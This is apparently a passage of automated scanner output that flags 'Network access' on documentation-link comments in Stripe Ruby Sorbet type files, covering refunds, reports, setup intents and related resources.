    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 32
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/radar/value_list_item.rbi

  • Network accessline 7
    # Value list items allow you to add specific values to a given Radar value list, which can then be used in rules.     #     # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 8
    #     # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)     class ValueListItem < APIResource
  • Network accessline 9
    # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/refund.rbi

  • Network accessline 8
    # initially charged.   #   # Related guide: [Refunds](https://docs.stripe.com/refunds)
  • Network accessline 9
    #   # Related guide: [Refunds](https://docs.stripe.com/refunds)   class Refund < APIResource
  • Network accessline 10
    # Related guide: [Refunds](https://docs.stripe.com/refunds)
  • Network accessline 606
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 607
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 608
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 627
    sig { returns(T.nilable(String)) }     def instructions_email; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object
  • Network accessline 628
    def instructions_email; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { retu
  • Network accessline 629
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 654
    sig { returns(T.nilable(T.any(String, ::Stripe::Reversal))) }     def source_transfer_reversal; end     # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds
  • Network accessline 655
    def source_transfer_reversal; end     # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds).     sig { retur
  • Network accessline 656
    # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reporting/report_run.rbi

  • Network accessline 9
    # When the report has finished running, it will give you a reference to a file     # where you can retrieve your results. For an overview, see     # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).
  • Network accessline 10
    # where you can retrieve your results. For an overview, see     # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).     #
  • Network accessline 11
    # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).
  • Network accessline 12
    #     # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 13
    # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).     class ReportRun < APIReso
  • Network accessline 14
    # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 36
    sig { returns(T.nilable(String)) }         def reporting_category; end         # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database]
  • Network accessline 37
    def reporting_category; end         # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no ef
  • Network accessline 38
    # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva
  • Network accessline 65
    sig { returns(Parameters) }       def parameters; end       # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`.
  • Network accessline 66
    def parameters; end       # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`.       sig { returns(String) }
  • Network accessline 67
    # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`.
  • Network accessline 81
    sig { returns(T.nilable(Integer)) }       def succeeded_at; end       # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
  • Network accessline 82
    def succeeded_at; end       # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)       sig {
  • Network accessline 83
    # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reporting/report_type.rbi

  • Network accessline 8
    # the "Activity summary" or "Itemized payouts" reports. These objects are     # identified by an ID belonging to a set of enumerated values. See     # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)
  • Network accessline 9
    # identified by an ID belonging to a set of enumerated values. See     # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)     # for those Report Type IDs, along with required and optional parameters.
  • Network accessline 10
    # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)
  • Network accessline 12
    #     # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 13
    # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).     class ReportType < APIRes
  • Network accessline 14
    # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 23
    sig { returns(T.nilable(T::Array[String])) }       def default_columns; end       # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.
  • Network accessline 24
    def default_columns; end       # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.       sig { returns(String) }
  • Network accessline 25
    # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reserve_transaction.rbi

  • Network accessline 8
    sig { returns(Integer) }     def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 9
    def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 10
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/reversal.rbi

  • Network accessline 4
    # typed: true module Stripe   # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a
  • Network accessline 5
    module Stripe   # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a   # connected account, either entirely or partially, and can also specify whether
  • Network accessline 6
    # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a
  • Network accessline 10
    #   # Reversing a transfer that was made for a [destination   # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of
  • Network accessline 11
    # Reversing a transfer that was made for a [destination   # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of   # the charge. It is possible to reverse a
  • Network accessline 12
    # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of
  • Network accessline 13
    # the charge. It is possible to reverse a   # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options)   # transfer only if the destination account has enough balance to cover the
  • Network accessline 14
    # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options)
  • Network accessline 16
    # reversal.   #   # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers)
  • Network accessline 17
    #   # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers)   class Reversal < APIResource
  • Network accessline 18
    # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers)
  • Network accessline 27
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 28
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 29
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 36
    sig { returns(String) }     def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 37
    def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable(T:
  • Network accessline 38
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/review.rbi

  • Network accessline 6
    # Reviews can be used to supplement automated fraud detection with human expertise.   #   # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments
  • Network accessline 7
    #   # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments   # [here](https://docs.stripe.com/radar/reviews).
  • Network accessline 8
    # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments
  • Network accessline 9
    # [here](https://docs.stripe.com/radar/reviews).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/setup_attempt.rbi

  • Network accessline 504
    end     class SetupError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they prov
  • Network accessline 505
    class SetupError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 506
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 510
    sig { returns(T.nilable(String)) }       def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 511
    def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 512
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 513
    sig { returns(T.nilable(String)) }       def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t
  • Network accessline 514
    def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.       sig { returns(T.ni
  • Network accessline 515
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 516
    sig { returns(T.nilable(String)) }       def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 517
    def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 518
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 541
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 542
    #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)       sig { returns(T.nilable(::Stripe::PaymentIntent)) }
  • Network accessline 543
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 545
    def payment_intent; end       # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 546
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to       # Customer objects to store in
  • Network accessline 547
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 548
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 549
    #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).       sig { returns(T.nilable(::Stripe::PaymentMethod)) }
  • Network accessline 550
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 559
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 560
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 561
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 563
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 564
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 565
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 567
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 568
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 569
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 570
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 571
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 572
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 573
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 574
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 577
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 578
    #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)       sig { returns(T.nilable(::Stripe::SetupIntent)) }
  • Network accessline 579
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 595
    end     end     # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation.
  • Network accessline 596
    end     # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation.     sig { returns(T.nilable(T.any(String, ::Stripe::Application))) }
  • Network accessline 597
    # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation.
  • Network accessline 606
    sig { returns(Integer) }     def created; end     # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation.
  • Network accessline 607
    def created; end     # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation.     sig { returns(T.nilable(T.any(String, ::Stripe::Customer)
  • Network accessline 608
    # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation.
  • Network accessline 609
    sig { returns(T.nilable(T.any(String, ::Stripe::Customer))) }     def customer; end     # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time 
  • Network accessline 610
    def customer; end     # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation.     sig { returns(T.nilable(String)) }
  • Network accessline 611
    # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation.
  • Network accessline 626
    sig { returns(String) }     def object; end     # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation.
  • Network accessline 627
    def object; end     # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation.     sig { returns(T.nilable(T.any(String, ::Stripe::Ac
  • Network accessline 628
    # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation.
  • Network accessline 644
    sig { returns(String) }     def status; end     # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.
  • Network accessline 645
    def status; end     # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.     sig { returns(String) }
  • Network accessline 646
    # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/setup_intent.rbi

  • Network accessline 6
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.   # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting 
  • Network accessline 7
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.   # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.   #
  • Network accessline 8
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 10
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.   # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.   # The SetupIntent transitions through multiple [statuses](ht
  • Network accessline 11
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.   # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides   # you through the se
  • Network accessline 12
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 14
    #   # Successful SetupIntents result in payment credentials that are optimized for future payments.   # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 15
    # Successful SetupIntents result in payment credentials that are optimized for future payments.   # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through   # [St
  • Network accessline 16
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 17
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 18
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 19
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 20
    # it automatically attaches the resulting payment method to that Customer after successful setup.   # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on   # PaymentInt
  • Network accessline 21
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 24
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.   #   # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 25
    #   # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)   class SetupIntent < APIResource
  • Network accessline 26
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 29
    # Controls whether this SetupIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste
  • Network accessline 30
    #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, 
  • Network accessline 31
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may 
  • Network accessline 43
    end     class LastSetupError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they 
  • Network accessline 44
    class LastSetupError < ::Stripe::StripeObject       # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide 
  • Network accessline 45
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 49
    sig { returns(T.nilable(String)) }       def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 50
    def charge; end       # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 51
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 52
    sig { returns(T.nilable(String)) }       def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t
  • Network accessline 53
    def code; end       # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.       sig { returns(T.ni
  • Network accessline 54
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 55
    sig { returns(T.nilable(String)) }       def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 56
    def decline_code; end       # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.       sig { returns(T.nilable(String)) }
  • Network accessline 57
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 80
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 81
    #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)       sig { returns(T.nilable(::Stripe::PaymentIntent)) }
  • Network accessline 82
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 84
    def payment_intent; end       # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 85
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to       # Customer objects to store in
  • Network accessline 86
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 87
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 88
    #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).       sig { returns(T.nilable(::Stripe::PaymentMethod)) }
  • Network accessline 89
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 98
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 99
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 100
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 102
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 103
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 104
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 106
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 107
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 108
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 109
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 110
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 111
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 112
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 113
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 116
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 117
    #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)       sig { returns(T.nilable(::Stripe::SetupIntent)) }
  • Network accessline 118
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 319
    sig { returns(String) }           def amount_type; end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 320
    def amount_type; end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 321
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 356
    sig { returns(T.nilable(String)) }         def network; end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.
  • Network accessline 357
    def network; end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication).
  • Network accessline 358
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Access to secretsline 606
    [Credential-related source omitted]
  • Network accessline 644
    sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) }     def mandate; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information a
  • Network accessline 645
    def mandate; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilab
  • Network accessline 646
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 656
    sig { returns(T.nilable(T.any(String, ::Stripe::Account))) }     def on_behalf_of; end     # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](
  • Network accessline 657
    def on_behalf_of; end     # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_o
  • Network accessline 658
